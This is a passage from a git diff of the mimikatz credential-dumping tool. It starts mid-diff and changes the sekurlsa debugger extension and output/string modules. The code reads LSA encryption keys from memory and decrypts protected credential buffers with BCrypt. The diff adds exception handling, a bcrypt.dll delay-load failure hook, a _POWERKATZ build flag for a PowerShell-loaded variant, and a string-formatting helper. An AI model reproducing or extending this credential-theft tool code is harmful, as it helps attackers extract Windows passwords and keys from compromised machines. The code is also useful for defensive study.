BCryptCloseAlgorithmProvider(kAes.hProvider, 0); + if (kAes.hKey) + { + BCryptDestroyKey(kAes.hKey); + LocalFree(kAes.pKey); + } + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND; } @@ -117,7 +100,11 @@ VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory (IN PVOID Buffer, IN ULONG Bu hKey = &k3Des.hKey; cbIV = sizeof(InitializationVector) / 2; } - K_BCryptDecrypt(*hKey, (PUCHAR) Buffer, BufferSize, 0, LocalInitializationVector, cbIV, (PUCHAR) Buffer, BufferSize, &cbResult, 0); + __try + { + BCryptDecrypt(*hKey, (PUCHAR) Buffer, BufferSize, 0, LocalInitializationVector, cbIV, (PUCHAR) Buffer, BufferSize, &cbResult, 0); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} } NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(ULONG_PTR pInitializationVector, ULONG_PTR phAesKey, ULONG_PTR ph3DesKey) @@ -164,7 +151,13 @@ BOOL kuhl_m_sekurlsa_nt6_acquireKey(ULONG_PTR phKey, PKIWI_BCRYPT_GEN_KEY pGenKe if(bufferHardKey = LocalAlloc(LPTR, pHardKey->cbSecret)) { if(ReadMemory((ULONG_PTR) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data), bufferHardKey, pHardKey->cbSecret, NULL)) - status = NT_SUCCESS(K_BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) bufferHardKey, pHardKey->cbSecret, 0)); + { + __try + { + status = NT_SUCCESS(BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) bufferHardKey, pHardKey->cbSecret, 0)); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} + } LocalFree(bufferHardKey); } } diff --git a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.h b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.h index f324414..dbfeb99 100644 --- a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.h +++ b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.h @@ -66,14 +66,6 @@ typedef struct _KIWI_BCRYPT_GEN_KEY { ULONG cbKey; } KIWI_BCRYPT_GEN_KEY, *PKIWI_BCRYPT_GEN_KEY; -typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); -typedef NTSTATUS (WINAPI * PBCRYPT_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_ENCRYPT) (__inout BCRYPT_KEY_HANDLE hKey, __in_bcount_opt(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in_opt VOID *pPaddingInfo, __inout_bcount_opt(cbIV) PUCHAR pbIV, __in ULONG cbIV, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); - NTSTATUS kuhl_m_sekurlsa_nt6_init(); NTSTATUS kuhl_m_sekurlsa_nt6_clean(); diff --git a/mimilib/sekurlsadbg/kwindbg.c b/mimilib/sekurlsadbg/kwindbg.c index c9fa3a3..b823d98 100644 --- a/mimilib/sekurlsadbg/kwindbg.c +++ b/mimilib/sekurlsadbg/kwindbg.c @@ -763,4 +763,15 @@ void kuhl_sekurlsa_dpapi_backupkeys() } } } -} \ No newline at end of file +} + +FARPROC WINAPI delayHookFailureFunc (unsigned int dliNotify, PDelayLoadInfo pdli) +{ + if((dliNotify == dliFailLoadLib) && (_stricmp(pdli->szDll, "bcrypt.dll") == 0)) + RaiseException(ERROR_DLL_NOT_FOUND, 0, 0, NULL); + return NULL; +} +#ifndef _DELAY_IMP_VER +const +#endif +PfnDliHook __pfnDliFailureHook2 = delayHookFailureFunc; \ No newline at end of file diff --git a/mimilib/sekurlsadbg/kwindbg.h b/mimilib/sekurlsadbg/kwindbg.h index 4ce36e3..768f801 100644 --- a/mimilib/sekurlsadbg/kwindbg.h +++ b/mimilib/sekurlsadbg/kwindbg.h @@ -7,6 +7,8 @@ #include "kuhl_m_sekurlsa_utils.h" #include "kuhl_m_sekurlsa_nt6.h" #include "kuhl_m_sekurlsa_packages.h" +#define DELAYIMP_INSECURE_WRITABLE_HOOKS +#include USHORT NtBuildNumber; diff --git a/modules/kull_m_output.c b/modules/kull_m_output.c index ffff263..89fc749 100644 --- a/modules/kull_m_output.c +++ b/modules/kull_m_output.c @@ -42,7 +42,7 @@ void kprintf(PCWCHAR format, ...) outputBufferElementsPosition += varBuf; } } -#ifndef _WINDLL +#ifndef _POWERKATZ else { vwprintf(format, args); @@ -92,9 +92,11 @@ int previousStdOut, previousStdErr; UINT previousConsoleOutput; void kull_m_output_init() { +#ifndef _POWERKATZ #ifndef _WINDLL previousStdOut = _setmode(_fileno(stdout), _O_U8TEXT); previousStdErr = _setmode(_fileno(stderr), _O_U8TEXT); +#endif previousConsoleOutput = GetConsoleOutputCP(); SetConsoleOutputCP(CP_UTF8); #endif @@ -102,9 +104,11 @@ void kull_m_output_init() void kull_m_output_clean() { +#ifndef _POWERKATZ #ifndef _WINDLL _setmode(_fileno(stdout), previousStdOut); _setmode(_fileno(stderr), previousStdErr); +#endif SetConsoleOutputCP(previousConsoleOutput); #endif } \ No newline at end of file diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c index ac25813..2837d5c 100644 --- a/modules/kull_m_string.c +++ b/modules/kull_m_string.c @@ -386,4 +386,25 @@ BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szD } return status; } -#endif \ No newline at end of file +#endif + +BOOL kull_m_string_sprintf(PWSTR *outBuffer, PCWSTR format, ...) +{ + BOOL status = FALSE; + int varBuf; + va_list args; + va_start(args, format); + varBuf = _vscwprintf(format, args); + if(varBuf > 0) + { + varBuf++; + if(*outBuffer = (PWSTR) LocalAlloc(LPTR, varBuf * sizeof(wchar_t))) + { + varBuf = vswprintf_s(*outBuffer, varBuf, format, args); + if(varBuf > 0) + status = TRUE; + else *outBuffer = (PWSTR) LocalFree(outBuffer); + } + } + return status; +} \ No newline at end of file diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h index 59b8d88..b68eecf 100644 --- a/modules/kull_m_string.h +++ b/modules/kull_m_string.h @@ -84,4 +84,5 @@ BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src); BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst); #ifndef MIMIKATZ_W2000_SUPPORT BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData); -#endif \ No newline at end of file +#endif +BOOL kull_m_string_sprintf(PWSTR *outBuffer, PCWSTR format, ...); \ No newline at end of file